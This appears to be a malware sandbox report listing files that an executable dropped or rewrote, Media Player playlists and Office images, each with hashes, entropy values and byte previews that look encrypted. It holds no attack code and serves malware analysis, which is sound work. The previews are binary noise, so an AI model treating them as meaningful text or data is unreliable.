Preview:	<?xml.J..[B../.....6)"9..}M.ix6j..Y..~....(..dea..O......&...?nt9..h1.D.....[^....1.j%......@]Xu1]c}L.mJT~pw4.Q.gs.l^.".>..4(d.~..z.\H.L(CK.VeM.>v.j..AX/.....%.v..3EbXGl\|.v.-zqT...t 9.].G'Z.{.....7...^hj....X.(.F.&.>z(. ..:....-.N.o....;....&.....)q..m........0_......}...9$...k5.V.......#d...o..Cl...ne....Y?j..aY;7`..v..5.-.1.... ...~..,....q7rN...'^^.S]...4.1r)%.........<....:..f.O.].mD:...y@.G.C.......^..'[.......,b....m.n.......m..e..G...k....X....&.!.....lku..<n.....3....F.u..j....7........Z.%......Q..w....Vx......I..v.f...q[.....Ow.S`g8M...J.....C.8.0.x\.=+...}..H...Z..s..X ...)mG..=.J.......IX.,n..1.....$...Ii\BXo..k..B..Pg.~J=dx.0.-$6.f..}......k..h....B..#..QB..p...C*.."@). .{%Eo....)rH..)]....JO.'.....ouY...K?..WS.9A.M.)S.. ._.#8m.P....4.\b.D.....d..yC....).9.J\|..r..?..@.t.SU.."%..x&.......3.rd;dP..'.Fo....[....u.aT.%..lN.d...p'....I.....1....%....\.Y...D...d.z......1<.d\'-.q.eV\|..99.........t..H.....E...........CFU.>-P....-!..d

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.841469277990742
Encrypted:	false
SSDEEP:	24:dJGdJifDEXGW0WWVQNU1D8lSKoRR9PUWkwM3BIMPuBjJg2VbD:dIifoXGW9W6O98leUW5M3qK2FD
MD5:	77BCA5CC2E95B2D17A070C02797112F6
SHA1:	2546E1EC0B77AB8114B7D775630FA8E5D46A68B4
SHA-256:	094DAC1DFAA0A8B7D787AD66A6678EAC3B4857BE014C3A8F8C383C518550DDC1
SHA-512:	079383D05461C935DAC64B600F9C13D438E8B81AC6E56C55EC2B2F3310AEF15720028F23E0A6A4A1EC0F5FC7202F33FD484278CF85B92149883F7AA9FBD45BD3
Malicious:	false
Preview:	<?wplL..5.....l.FT/.=1G....[O...U?..#...XX.....z.Sm.[.z...\|....(`.Kgk ~.Y..@s......."..j..o\){..~p.. ..W.v......~6#^..e.)..X.M..8.;.....c`..l....a^.FS......4./..$.l.g....0TD.'....P&.3=4Ja.&.].q),q....O...%.50.f....%...ph./....m...U......R)a...v(~.....B.k...N...M..i..V....G&18`.~..KE.8U..w$...t.".....:27.h....F...+..R.v.KC.......U.....l..2....g..,S`..>...%.1.{.)!..d.......W..........b..w2..W...l.....ex.$...A....a...i..E._;..39..L.yv..p4.....b3.V.....of..n>..S....f.y.......R#...7$.a.o;..v< h..5........BM.0...e."P..l.....p.:7..........a}..T.....7.....P...:.z...s{.PQ)...y...,...Q....u....{..9..?X..+...e.\|..........{...u....e`..!....".....l9.L...I,...o....yDr..)...".....sA.1..@.H.z."#59..C}.r...X...f.Uf;....~......h,p..........c.$....f.....{.....h.a.*o3%}).-.L..bMop...:5e..P-D...W....n.$zy..]......$7..u.G.....'E[.x..lO.z.t.Wf.%..7...\|...G1./.;E.\|..C....;.....K./d.E....@.%\u......J.r..{....!....c.@]A...H....W-S....H.M.M.7!C...a.k.j=.A......~.bmM...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.861765805604207
Encrypted:	false
SSDEEP:	48:s6I2yHiP9CdThHR/tr9EUi4bksiUPu0BLkFD:iZiP9gThxYaViUWmY9
MD5:	A56CCA5A04D743694EDC35A2A97FAFF9
SHA1:	98AE64C3C816CC2563A10CB7168501A75D0DBF62
SHA-256:	1E5448B0675D87085A43FA336138B04A040513F2F826995FA51F1567C8AB2988
SHA-512:	41B6AC86C006AD43DB6DF315146D8CFCC6E8FF2133AFCD649967B62DDAFD133D005EA7AE11E449E837A63099561945A0755B8C73BFA211ED88F659C96D63BFA1
Malicious:	false
Preview:	<?wpl....l;..+..6....F.'V......1K.JE.ek..)2f....7.u...jn..0.;N..Z..;....6`.me..%?.R..n..D.^..pn.T...w+......d... n...,......_...32....U>..\|.N......p....5...]zM...8...[.@..?.S...h>....j.....C....K..6s.b..5g.H.Q..n~.-.),.%..^j!G7?4.!.L...^@.....M...Mr.T.S..=..gQiL....m....&...<M.m.}..\|%!V7.D.7>.-@.L>;B.l.AG.Fe..<..r^.Da....O...3.....\|i,0oZ..L....R2..ae....O..z[A.C......w.......N.....K...ac...9........2..=.M.nt..cKa..$.'.Q4.(.....D.w\|...A.N..r.@T$.!..~r+Y..r. ..E..j.w.y.y.9.Y....h..t]W..Z`.P.s.C.R9....-.u.l9..X...Bm.-X.Z..N._.....r.N......q..Q............)...jI... ..K...B...}Q...,...*._E.e.Y..T..'b..k........f1..Ys....i.O.s...wQ-....:G.".......L...j...+.I~S..v>x~...3.[tD#....4.)%...q.U..w...V....7..y.wg....?!F.._.....O.0g....u. ......L.zaej+y,...J.9..m..n.BM..fQ..2OT&..5...{..8....M..Fu....bU%J....EOX.9s....-.\.xO'Wb.,v{..J.9_t .!.z.O...;.YD.7..KKT.)..>.....B..6.e....R.e...,..E....Za.X....=._.9..5.i....YR.~.q..iBlgRx..m.w.........-Q@r

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.874776614723475
Encrypted:	false
SSDEEP:	24:4bTwtx/gdwq2xB9I2uWf4ue4UV9krTpUxfAWiM6CMaoWlutK45J5UUjjoHIBSda7:98V2xB9Ig6ipqIWX6So13eaVFD
MD5:	C7F0ADC0C32197041408BDA1352890CF
SHA1:	3C78C2AFD63EDAECE3F617D74A75C91A2EDEE17F
SHA-256:	B95A888B6195A261F7B537441538BCD9A0D7B8AC9CE7D0DBC31B5B640B72D04B
SHA-512:	04217AE31FCADA902E644D976926114D7749A00C1DF061EBDF4331D4BB01A78B3A7A233675F2A1F767843DA268F78CA51085A6F6989A7FE333CC617BD2E807BC
Malicious:	false
Preview:	<?wpl....R#....q.I.j.LI.2XQN..k.....S.Bw..Qe.U...r.\.Z.>(.c94\0.....Z.-p...xy..[...>;.~v.+.]...0.I. m.q...b.2hw.w.1n..8-\|.S.....i.&.Al.m.\.B$....i.m....4..4z..\|.n..YO..t..u....mf.Ln[e7\.:SF..}d"....g`...._.v.`.~#...... ...~........,.n...P.2.1@.s. .o.W..>Y...lCW$..}i........./...,..:...V....b9....^[.P.......q....4...05iw...z...g....^l.i,..i..}}...!..Sl.....mm.....!.A3.....N.Ir...m......;......dY...~...).. &.`...%......#.U.$.K....i..".%.2...$!W>.j./..gaa.....w..!R.\.I.U!..=.0.H..\|!\|.[...W......y,.H6..9..U.`.Z>Dc.U.._......._..Q.8...e.....A....Ut.X...ap.....d)c8.66..&3..8..&.....:D....n.M..]........AGW.D...X.u.Z.NB....".D`Kre.....+.....a...)=1.DS.~.._.\.;..PH)....N.....!IyO.cd.......z..g..Q...A.uJ.K{.d.,;.w..%.d.yQ.p\.3.!..{..S.:.}bE]Ph....O&He.C........1.?. ..re.. 8......I...d...0@.....N.......-.c..6.....]..RP...9...N.m!...>.xD...AX..D8......z.'......]...O..&...P..\|....<%.xx^1.*.....,.}0...N9........Z.#I.<@.,.Zm.e...D.}..dt.D.Ah.nF.P

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.857075520558397
Encrypted:	false
SSDEEP:	48:kZ2Ubyco0zdeurGeAdkqEpquT68x1WYFD:kEU/o+deuRbqNz8xF9
MD5:	A8A52AA7BBFF388569B3BBD8C80DB21D
SHA1:	83359D607C9581B4FB3A4B3096E80E0CE6B3EDEB
SHA-256:	89F5B5F385D8FB674FB25DAB521F699A1C00C6D138DFFFCBD5DBD4F6C23ECB4B
SHA-512:	49C8E7A2B3844467DDE83D8487B8A9BCFDCB5F2515DFD470EE1272CE432C63DD25E52ADF3CF687CCC825DA3A30245C4A7748FE62EF343FAF98BF94B0C7FB27CE
Malicious:	false
Preview:	<?wpl/.N(.'R}......h.IZ...,.+(....#N....).R...4s..T.-.Cay....}i............M...s..rZ.hRrV7BP..Vh..Ipe....!...<>.Q5..{[...X.Z..{q......w.$e~.X.`......-.3...vK....j...y..0W.T..9.MN..z....0.{7;c...e.]~........n..."?[OkfM...N.~..5P....3pc .4.....S+.. ..\|.-......d...L..X.~.....]>.....{.v[#......l.u$..y..R.].@n..........[O$.y{.C%.....F.Y<.<.1..Z...^......U..<....hLz..?.........vz.[x.......X...c..O..>....V..]..J~.....t.Cf...6....c~D.nK.]J..`..3..$.....SP...!..Sm..`D....=...".c..L....\|.....Z.!.V{......q.!/...)R....Dz5..}.ls........_P....@f.-.....O.5R..9;..>+.O.3 ...8V&......D..\A.D.....Rl.\|$8......&.$4...,E...f........YuK....P...D:g.:.%.:`..>#azJ`7.t....Q.@-..2.#..~..aL_....o.9.c..........F.Ey.b2E.M..;,..\|....A.).].O\ih.W..X@,..M...aH..e.1$Z..q.iP."V:....F..P.[Jb7.9..$...7.x.D....R....M.93q5i.N.6...;...Fj...}.Ms_J..{W..%?.V...].A......m...... .R..W...@.....J/...98......G...s..y.h.SNI..gh?.{...VD..Ph..E..\.).._...G7.Vt."{.0..3..*....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.832762770883479
Encrypted:	false
SSDEEP:	24:4tlr8894+Xpq8zn+mFRx6jiCFObsBM6kxP787cVbD:clr89+5bzzMlF1pezdFD
MD5:	6445290DBAA84D1FE50BE8EC717E695C
SHA1:	935DB78573BA943D86576A2B9AC04B22195340D6
SHA-256:	F604A885134F9496E6B1655A240BD2A087456C6C726A3E74777E6C5A8A614116
SHA-512:	8ACA86485EFDA2AB8A0E34F9B5E45E38AD8F26BA730549386F8A3B1D1256619EDF6BEA28352B7B89FFE388F35C634DE6429D5894D0778871F27FAA4FDC91E93D
Malicious:	false
Preview:	<?wpl3......]....S.#......G[.G.:0.5....m..j.....T.f.Wp..r.Zn..q:...........cX...S79...'...`dy....8...H.....KXO..a......[D.......r.....1ez(......^..TNT...>A......ZE&.z..b..FW...6.4...,...qpZRO..4D...P.^.]......q?.....6g..}....zLJk..h..5. =..?.....R.#~7.tez(K.......u2.......l.O...).E......o.P.ev0#..kG..H/..w.!..3..(..).N.Tlp......k..8...hY...:...Q.D.B\..._..04.....>....9.=J...y..Y.}vPe.D.N...hZ.u.@..8..@..7[.}.A..i.n.]r...x'....1.w.Ab..6..B/...E.],E..~/q.p.{.../z...n..'..6......."1..rpn..=Y....OzI.....Dh.8v.NwpE.%.. W..-...,V..b4.........JY.3rD...\.v..$.[.r\|.[....,..P$A..;Y.2hr.E""{z....E......g..."......;."?B@..L..C.O..K.....?...&+d.;m.f).^.W.k..Z`.y.xr.. ..Wh.B..?..+...t~...!U".~.<.........W...DY.......9g..,..J.ki.j0.Wz..q...\.. I...X~.y@...7..>.M\|........A.q..{.Y....z.A..z."...O+.4...k<..,...i;gt....D[hv.\c.a .W.....;/..p.]i...L....j,.F.{...Y.1.{..C.........S).A...H./t98...N.z..6...m!..;oa....Psr..z.xP.....".k..X..>....9.o....E...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.804514367542685
Encrypted:	false
SSDEEP:	24:A5XTkAMRJylsEHRn5+KmO0OpDaJRto6iGAgh0XVU79VbD:AdTgRJFmNYqHDaJRyOAgh0s9FD
MD5:	55D184BAB70B87240DDC3CBCC3F0C1DA
SHA1:	0C9A42B8865B74F3752EDE695164134763496557
SHA-256:	2BC90BBE430CDE15DB7407A591CD5FCADDFBBE7DABBD0C61C681E3DD2626F827
SHA-512:	AA248E6EE66526E07C69715C444A9C610FD42C52E70FFE0727945584AEFFFFC1BD4382D01341B4E0F090BC0194954F6344FFEA2EC604CD8DB8DD44FDEECA0766
Malicious:	false
Preview:	<?wpl....e...._T.......O3.=.....K....yil.-G......7,.\|z.@`.F ....=.s......_....s5...ru.p.P....5S... 6dm...8u~..........}p.;.c.u..'[.7..8...gDp).8r.Z^..f<..S..b.g.D.......g+...^.~j.L.AuHU{..WcI.v%..O.Dz...].M.'FfCm:...>.#..-D...S..-..B.b..M.k7...P..2....[.......B.>.{..7..LZ..E,...xn.....S.{...:.}.7FQJ....c..G...H...4.P"Uq.2p...........W....S.H,..._..Z.0.N......ns..De.....UPV...R!...u..$....8(.B..v.}.<U...7.0.c.......g.H...M..&......?`.P5(..=..j.F({N@...R(..4..P%.h.r.u...d.S..-6.,;.....9,..".S...'F5L...d...'(_.w.)....Z0Gi9k..O....=.2..X.....t.,.G....Z;...p..}.!@Z..c.FC....TS.P.1tf,......k..@.....U..2@>.w..H:..a7..A.}m. ..P'.O.E.#.9......F...Op...-..>Q.%nt..:a.....n..6.B]cMx../W..J.-#B..0...g.&'..t..:...~V...B....vvP.B......m%.=.m.&,}.&....Q.t.ZV......o.q8 ._L..]..T.....q...6..c<....p.".u.O6qL..U...?..yR`.}....Ho.m.~.....-......\.:..CH.].......\|......?.^..P,r.....m.b.k...S.yf...sz....jT.yM..R.....h.P.g78..{X...f..O..t..6.9...${...........H;3L....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.8390616999552485
Encrypted:	false
SSDEEP:	24:qDyEzYI9cgeDvomgCJd0mDBswxQk43K77EJkxLwlP9iCVFRfYVbD:qWEsIPej1gC0kGwxqiEJWabdYFD
MD5:	66D402D9E6064A75FF211BA88ED7CAE1
SHA1:	E15CD47D39F423D63E44BC04A83B2FF66CE32BA6
SHA-256:	F4DB8EE42955FA89B184987EDC17EEA82C43B467A6477EF52CDB2BF25980EEC1
SHA-512:	5653AC6B0728B4D9F0DB1124BF2A6F021E715780926E95ED2FE97DF5D4B08556A7D93501273052BE2962623FA271DA03F7DBAE790FF27EEAF3C9A792AB624981
Malicious:	false
Preview:	<?wpl...'..4?..:.._.7;s....u...]......O.=....h....d!....R..`..!.d}}T....CC.E.....rO.EX....-I..wxGE+.O/.D3.......[.P...k....5(.sD.QO.....W......0....7.........f....B.!.P:.1.z..xn.~.!.Oa.RY...Z.t..c.6..mQW....ViW.\.).?...GH...2~..g{...D....)P.....$...a6.Xp.]..]..1...MB4.NK.K..%..U..\..V....'3.....Ku.w..j`I<.........]A\|.K..N3.oH...w.:........!...ID.$...M.......Xs..M.n.f.NhA.,E..p........l.8F.l...r....;N.....)[.. z...:..TM.G.b.v.p-....4../.SJ..a).x.Y...a~.&.`C9.]...3..1...f)"..A..b.~...~..[(..z.9..Q..t.{...#$G~v..P\.......K..{....?I..G.n...Pg.].I.g..G...oZ.m../vN..........!...V....,`.3...w>....^.v..l......%..!.;s`.v`.O.2;....R..f..5u%6Z.V.......#......f....w.:s.U7.....k.H....>....)O.....:.W=.6.:..M.Rd..g,...!..8.D..2....>...T_.*g..>.%M....-A;.y1.&H.......F...I..I!.].....,[i.a'....$w...6..]2..H(.....2j.,dD\.$....II..>p.e3..K?..TNaD...P.m...;_..0.r<...E...CvE..r.?..eE_......Q!... .I.K....BG.IQ.~.....!L.T.iF.O8.A..,...1.E.........Hp.NV>.j].:

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.853709065948066
Encrypted:	false
SSDEEP:	24:dCzYx5bYkqSJUF3FqDQDmY6AEqHS6QPG+9lQFUGv4kOkG3L3mVbD:dC8D1qmUWccwqE4KGCFD
MD5:	F50F46F3344F8809AA4137FEFBACB33E
SHA1:	2471CBBF176D12E02CA24AAFB636C6D26FA5BC63
SHA-256:	4FBAE8E736CD46BA466ED17D4D2BB829BCDE7D4BD37C757962C6CE3DB1D9A8D0
SHA-512:	4DD17E4CFAD3C12D0B134B92833A315373CE26A8E57062A0D8F165C777E455DEEB8D4C4344C5E4B2C1203A5E1C06CF3A713CE7769157260C8CFE0A1D43275CAF
Malicious:	false
Preview:	<?wplY{}.^../".%y@7..D..aF2..@.V.w2z..P...{..".-q...)..F.K...~.zS.L.\|!..(....\|..7r.b5.m}{...3..fQ$....53Ne.+.:>....o]OI..rX.._.hH...ga=(G.......!Z...s.1/....P...8R...?~u?t.E..5..........b...K..U...w .rKUxQ^.Y....!..6.c[..1....8.t..V..]c..d)./..?...........z..C.]5..........AK.=v........+....o`e.i..0._..Rr_.\..bc..O.%...O4...~..k6...el...$.....[.Bp..T.z.C.......]h.k.R..m...R&...E...'_O.Nz..]..D....a.9+v!D(r.)..Py....;z.!..s.>2V...v..t>9......u.B.UBk5}..f..'..`.k.Z/L.\;.-.eN...pd.W.......$....k..NK.S}..3~.i./cX..X..jR.f...7.l...!......8.w#...-H.X.....5.6.5t.zn0...M O........~.....a...W.#.......h....T....9...p.q.K'E.0.d...I.......#...&.Z.....7y`.......y..@r..w..Z.zsq...!..&5..v"\..z....H@.c....,.z..M.nr.....@.YJU............X.h.G/.T8Y .b.79.#z.o.2..t.*.6_...5.O.F_...&{d.\|.I.kE...dkN.K.'.2.U....x ..{K2>...ruK...d....s..:..O+.a.&n...+a...2...(y...qUR..h..3..............n...v.....z.4.......rD..-.....3.`..W.0.zo5.vS..F`...0.#..'.. t(Jz4f..{.....3MNh

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.854650125814499
Encrypted:	false
SSDEEP:	24:IOKzArE7vp8D8zDDQ/4TegDDsVZxlQg6gb4+15J7XLVbD:IOKEipHU/iPsVZxQShFD
MD5:	03A60C9032D3E4159A73DEA496D48073
SHA1:	5E8F42377B8BBCD76CCA7A2E65F95A5C846CBF72
SHA-256:	727BEC095F886A28D9DB1009EE953B9DCFA9C84F29DE34F48B5D09900F3EAD19
SHA-512:	FAF6207EA80D7CCBFC3739349805C94D67EE0B2FFF367737D7B8FDDD61857CAFDA296746A23D350779C5DB68C157880B2AC6CCC5A46A88131820F1D663E34479
Malicious:	false
Preview:	<?wpl.....j.6..9....V.y.ln....+.....\|........m...%..pX..)f.......".x...~".....w".y........%......8.d.=.:.......l......O...,B]1...T..d..B..&..V?..E^.=.....m.H......2...}...y.x`.s.e....a..,.."...F................4....jR`>....,..dGz....I FE.....gAM]"44..&)...R.$V...C8.P.m..L...8R.O..-...S...Z.@._.YD....zP....L.....).e4.JT..a.....\.6.h.......%....mz.[......wd.v...m..%}`.......WG.%(.......beh.s.J...._%.)..O.&_'l. ....Z........0.9.......dK./w .....i..T.e..Eh.....T...l..<.2........%..9..$..."E...c......#.i...@p{r..@.i.z...Q...p~...B...c....n.k._!.c...N..^j..s....'.}......./..-..?Ma^8...M.i.`.\|...'.x.u.........e..tL..O#...=..K.........n>_H.H....C._..he.[....g....B3...7.z._....W...h[.........+.V.v........T....{.z...x..z.\|U...WH..Q.b..Y._.ql\..4...8.....Cr.p.S..].....^....e....\..'..e...+..q..:.\|.......).....JFu.'1.(\|;u......V,..:w..+.:.\|..U.z...ekXK.t./d~...ew.}.*%..a.Ee$8.ch..RgU..<...b..b.Bi..Y.R.D...}!.P..7...O..........3...h.-.c....Ba...{

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.874608804107628
Encrypted:	false
SSDEEP:	24:+y/97z1RDRvP1hgL6TRh5nNPKKJXeOJ5tf/P21TMjVbD:+Knrt9SoBJbvtfYSFD
MD5:	884BE42A908EBD5E64742BC019DFCBE4
SHA1:	CBE9693A08895CE074B119E5A875BB97A83D76D1
SHA-256:	4B6CC710C7EEEBECF1F29F6FA5FAE95FA739108163E079D86D36947DE870F99B
SHA-512:	B544BBD0847BB577A1E6B1DFB4BF214C65B8E2DDBD6D0424B7ACBC79014FC0E4237659A1C4BDE61EE0AE18AB5F7A5C8EAA6CB3005673E36DA43C7BCA52FB0536
Malicious:	false
Preview:	<?wplb...........y?..f`.].)...7.O:.."...twuK...\....XC.!q./g.LQjFB.A.C:.BYV.!g,=...Zg...d..`.-{;..>.....\|.MF..h.......FG...reizK..@.+.?.W.......A;...8.....\|~....u._.\|.,rvyc2...7..9.....l..........g&...b.1!.^..^>.wd..~wt`..8..k2.z...@.db).#j.6./..F.A..}.jO.y@".A..X&.i.~i.-..h"P.(u.'..w...T.a').V..Q..p...c)..'.W.p.Op....a..`B.>...U~L.q..y..9...t.7..N.<....O..9.5.{qN..........,...u...x.&<.k.i.w.^.x......3%..gl..A+ibB.R...\rd.X.9..&.+..w<....n.D........??...s...q..P.w"U`k......`.]..2...).}..w%....as.+W..e...'K....D.......3....(.J.I...3_..uj.(.3.;.......M..../.g1......i.{,!.......+_...H...>.J.;..(.V.......G..t......-l$..8...-Te41..Si...:..]..p.h...<.\.%..\.g...m......3..(V.?..zLY.[.E.U......&..;..Xl....-.j]...e..',!%H..w\{.NNX)~}.u.-.n....6y..l..G.C..L...UV.C....Ph.l...U...O.\|/ .......;c.J..w.>...Oj...u.......t..]../.e?Y.1..E.T..K..mm.p$]L.X........Ui.&q.....i_.C.k.b. B.6.A..`II..o.....C-..T...t\|=!...Q..x...n.......3....%u_!......

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.807779684931193
Encrypted:	false
SSDEEP:	24:XrcLSKUPMl+8TJ0Suet+gP+gzkhciMBTVbD:bcLdl+8NL+grk6/BTFD
MD5:	E8B4921E462B98C0ECFC183A00F58EBC
SHA1:	BAE746E5D2121A87D376F8854B271FE7E77C0B1B
SHA-256:	446EA7F135B3923B25BA3456B53F31D9C8C55DC92E9A1F13CD0F66E293DF4ABE
SHA-512:	4F53B4C5B8C2647B44E1F7A18A0677AB5F846DD4B7A64DFFAFEF3F937122A0D0621419F3D07DE5F36E79416ED4C72ECA23EBAC717D96E87A0E6FF39506F3DE0C
Malicious:	false
Preview:	<?wpl/.p.o..GV.I....l$..)..%...,D\....\|....../\l...O...e/..CS..../s..b....;+js...lF..:6..g..i#,...%..#....TA.b%dU....8..... .cW.s..P/..y.....)a....vA....D&....u!.AE....<.m.B...c..!%_.b... )Y..u...#..9.,C.o....4.W...:..o..A+7..y....."5..'P.....@8..hh.....).:.P@.eM.z...J...K.V$d.....D.{....UyLLj.T.b.s...h..5.O..m.......w......4...D/.a=.....pD..i...A.'##.]IA....).i.d.5!q.;~M.>.OC.....x..)..7.....<.q....4(.........;L...$.z{0v.%^w.v.a..y.lB.'GsN........w....W.h..K.i .....1R.Y[.Z]....xPdW.G..pc.t..\|.$y._.-t..c-......=..\|..A...A]....`'.q..5.3CO'.=....lS!.'.-.....a.2}.\|.y...c.f.....K.}g.@..Q.I...d)a.s[K!..k....[..s...}.D...mH.T9.V..R......^.....l.<:..v........7.._..X&..\|iK..H-(vm...Z..d........Wf..IX.JO.S..j.R....Be...[...WW6~c....I....k..J.T6.I.>..2:\)...@...@+.d.)......q..`.....d.?...^...titkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.8658646749869385
Encrypted:	false
SSDEEP:	24:Db+/FBguvCRUqr2IYdKgJoIr1vLfk/FgOhVj3BjAb6tRfOAfVLKkU2il/7OkaPw9:eiNraKg9r1vLf9OhVj3B0WCAk6pIpBFD
MD5:	00BCE8AD33C3B7DFF027ECFBCF1A6368
SHA1:	DDCE87AB2E0EAD2AAF81CD9B2F159A15B375EEFF
SHA-256:	D34917DCB9623EB25F56D82827A08EE987054CB5DA50526B635529B48FAD29ED
SHA-512:	9480636D793D92A423CB83CD322219EFC9FEF2BE75BBCE7DE8AEC3051F15CB9DE32EC43B8AC1C1AA4F2472DD5E0ECB8C8023B9DCA5817EC8364A0551CE8D3CB3
Malicious:	false
Preview:	<?wpl+.7..x....D{%..0...V{^.......W.xJ....(.......w2xLa?..B.m..gyJ.._o..s.9X..Y..E.......Vx.....\K....9.g...$.. ..e.g.\|.......L[....;j. ...h......v.3...`.g.....TT...w..t..v.<$.._..W3...>;.....f..........X...5H.6....L.e^.o.....cD...9/...].>/.C......6N..Tp8....w..=].........d.f..F2.h..U......z.$))...\|.YR.^.......f c)..9......tE48..P.A...Zs(...(.f.q.!dh.T{...P.%,\|3..v. G..}...5.[:....hKMq<y.H..v..^5...d...Z#.<%.y....mU.H.8nY..@.Ub...c.Zf. .z.x:^.qa......r...R..(...K...W1......s......e.......g......\..G..BP.]h+e#...WJ.......\|.....I.S..If.A7...R.].R....Rsy7...I#z.....S..uwO......V.j&`...+.q...ud.......Q......9.`.7%9A.n.I.4...~E%.....A..@.SW2}.$...>.tO.,...9\.i.1.w..z.Ikg.BH..W..k...wq0[..........M@..m._qL<.....6..;.;.mtGK..-~OQ.....z.1..d<(...=7MkV..../......v..-v..=...I.x.LTAD.....+..[B.....E..<.f......m...."..&...):PZ..L..N.7..Sw(.H....kx..K....<..N.d...g....>e0P..8..(..@i..GB..".w&.oDN?oS..Ko.tOj..-F..~z!.c.P..^....u~....KE'..\1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.972549893841542
Encrypted:	false
SSDEEP:	192:NuRRa3y6KqFH38jMeKOyS2O2Q26QTZzBpE3TBkWywyF:NQwy6ZX8jMhw2cQNzBpOT2F
MD5:	E291E1F98149B325C4AF8F842D103B47
SHA1:	2C502DF998DCCF3EE8619AA19BD9F0DFDC4442A3
SHA-256:	1E9103EA9CCD49E99FB30CCD6A34D51C48804FB5BBFF886203E0E9B8AFF6A5C3
SHA-512:	B1BE8CFBFF742B7469B8918E0012D8D2BDF18CC309E67AC192289C49CEEB62671A874F2FAABC86CAC39D5F9A6DCE8A099CA91D19EE7DD1D339610927441FC6B9
Malicious:	false
Preview:	.PNG......eL...to. ./) ]2..x;.M.....N_S.....\|c...!.1...A...L....)...q.^...R...I]".$.......rQ.....iK.K..=..\k.A;?.....?.=.T..8..8.E.cO..$T^..ao}..... -...).,uW...l..\w.n;..$..4=<:f.A....t}[w...+......G{...(.q...A;Jff8I.<P...(........O.a.0.....~Y...._.l.!..h.w..,Q.2vT..80E.....v@t2..1J+..o.. .......H+..l..JuvVn..8>S.04.n...I... *-9]..6...C.-..5m..#.QP.z7c^s.G....s......T......Y.D.g.=.:V.M.......]...b...(._M-uZ].eq...?..h..N....G....-..=k.i#..Wd.O-N..n.h..!..:.....CJ..E2<..P.1.I..Rz..A......^V..o...Q5c....!].$2..r...4..".....o)U...'...B....d..k..K..r.j.)H.\|.=.LwSE...}.qc.#s....'...=...LH..'r.2.=m..._&&A.D...4./Ug.<...W!`.Su.....i....B.B.\.....~.g..-....R...b}...m..".k.t..Y?....F...._"v.:..0=.HG.5#.....I^.D..L...'(#.W.....%..{..@..........Uy..>..w.^.`...}....../7`>..u...e.R.s..(%.3..Ogn.a...c..8/..Gr.d.r.7.N.'...N...w.\|gs......,.Qj.(.pl7..d...^...@.4..FW.V.M......t...4^..........V..\Z..q0..'O(...h...e.+.=A.Xg...Xs....m..1.e...SNyt]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.9742892597994315
Encrypted:	false
